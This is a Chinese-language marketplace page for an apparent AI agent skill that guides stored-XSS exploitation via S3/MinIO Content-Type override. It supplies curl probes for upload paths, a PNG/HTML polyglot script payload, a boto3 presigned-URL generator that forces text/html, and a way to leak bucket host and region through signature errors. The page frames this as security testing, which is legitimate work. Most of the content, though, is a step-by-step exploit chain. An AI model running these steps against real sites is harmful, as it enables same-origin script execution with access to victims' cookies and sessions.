mcpField
S
s3-minio-content-type-xss

s3-minio-content-type-xss

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 s3-minio-content-type-xss

s3-minio-content-type-xss 是一项安全测试技能,用于检查 S3、MinIO 或兼容存储能否覆盖对象响应的 Content-Type。它介绍检测流程,以及潜在同源存储型 XSS 的验证方法。

主要功能

  1. 01查找公开存储对象
  2. 02测试响应 Content-Type 覆盖
  3. 03涵盖 MinIO 和签名 S3 请求
  4. 04说明同源影响检查
  5. 05列出上传与 CDN 陷阱

适用场景

  1. 01评估公开存储桶的文件分发
  2. 02测试上传验证绕过风险
  3. 03验证潜在的同源存储型 XSS

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill s3-minio-content-type-xss

安装后在 Claude Code 中输入/s3-minio-content-type-xss确认已加载。

详细介绍

S3/MinIO Content-Type 覆盖导致存储型 XSS

通过查询参数覆盖 Content-Type 响应头,利用公共云存储存储桶(S3、MinIO 及兼容服务)。如果目标从自身源站(例如 cdn.target.com 或 target.com/uploads/)提供用户上传的文件,成功覆盖后,就能将存储的 HTML/JS 载荷变成同源存储型 XSS,从而绕过应用在上传时执行的所有验证。

适用场景

  • 目标通过公共存储桶提供用户上传的文件(图片、头像、附件)。
  • 文件由目标自己的域名或子域名提供(不是随机的存储域名)。
  • 上传验证看起来很完善(扩展名白名单、魔数检查、强制设置 Content-Type)——覆盖是在文件提供时而非上传时生效,因此可以绕过所有这些验证。
  • 存储桶 URL 对 ?response-content-type= 的请求会返回已更改的 Content-Type。
  • 存储桶返回 AWS SignatureDoesNotMatch 错误,泄露真实的存储桶主机和区域。

前提条件

  • 配有 curl 和 python3 的 terminal。
  • 找到至少一个由存储服务提供的公共对象 URL。
  • 利用 S3:需要拥有自己的 AWS 账户凭据(免费套餐即可)。

快速检测

# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type

# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach

操作步骤

阶段 1 — 识别公共对象

查找由存储服务公开提供的上传对象:

# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done

# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'
阶段 2 — 测试 Content-Type 覆盖

添加查询参数并检查响应:

OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"

# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type

响应解读:

响应含义操作
Content-Type: text/htmlMinIO 或兼容服务——匿名覆盖有效进入阶段 3
Request specific response headers cannot be used for anonymous GET requestsAWS S3——覆盖需要签名请求进入阶段 4
Content-Type 没有变化不支持覆盖检查其他查询参数或继续下一步
阶段 3 — 利用 MinIO(匿名覆盖)

上传一个包含 HTML/JS 载荷、伪装成有效图片的文件:

# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'

通过应用的正常上传流程上传。应用会验证 PNG 文件头并接受该文件。然后通过以下方式提供该文件:

# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"

还可测试以下 MinIO 覆盖参数:

参数被覆盖的响应头
response-content-typeContent-Type
response-content-dispositionContent-Disposition
response-cache-controlCache-Control
response-content-encodingContent-Encoding
response-content-languageContent-Language
阶段 4 — 利用 S3(签名覆盖)

S3 会拒绝匿名覆盖。使用你自己的 AWS 凭据对请求重新签名:

import boto3
from botocore.client import Config

def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
    s3 = boto3.client(
        "s3",
        region_name=region,
        endpoint_url=endpoint_url,
        config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
    )
    url = s3.generate_presigned_url(
        "get_object",
        Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
        ExpiresIn=3600,
    )
    return url

# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

如果不知道存储桶名称,可通过使用错误的主机或区域进行签名,触发 SignatureDoesNotMatch 错误。错误响应会泄露包含真实存储桶主机和区域的规范请求。

阶段 5 — 验证影响

只有当对象 URL 位于目标的域名下时,XSS 才是同源的。请验证:

# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"

# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin

注意事项

  • 跨源存储桶的影响较低。 如果存储桶位于 s3.amazonaws.com 或随机存储域名下,XSS 会在隔离的源站中执行,无法访问目标的会话。
  • 必须支持覆盖。 并非所有存储系统都会遵循响应覆盖参数。除 AWS/MinIO 外的 S3 兼容系统可能使用不同的参数名称。
  • 传递载荷仍取决于上传验证。 文件必须通过上传时的检查才能到达存储桶。应使用同时满足验证器和浏览器要求的多格式文件。
  • 签名的 S3 URL 会过期。 生成的预签名 URL 有可配置的有效期。过期后,XSS 链接将失效。
  • CloudFront/CDN 可能会缓存原始 Content-Type。 如果存储桶前方有 CDN,它可能会忽略查询参数覆盖。请同时测试 CDN URL 和存储桶直连 URL。

验证

  1. 确认覆盖有效:curl -skI "${URL}?response-content-type=text/html" 返回 Content-Type: text/html。
  2. 通过应用的正常上传流程上传测试载荷。
  3. 在浏览器中使用覆盖参数访问已上传的文件,验证 JavaScript 是否执行。
  4. 确认同源:对象 URL 与目标共享同一个域名(而非第三方存储域名)。
  5. 记录完整链路:上传绕过技术 → 覆盖参数 → 同源 XSS。

相关技能

  • hunt-xss — 通用 XSS 检测方法和绕过方法表。
  • hunt-cloud-misconfig — 公共存储桶发现和云存储配置错误。
  • firebase-supabase-attack — Firebase/Supabase 存储桶利用。
  • js-secrets-extraction — 在 JavaScript 包中查找存储桶名称和存储端点。

评论

支持 Markdown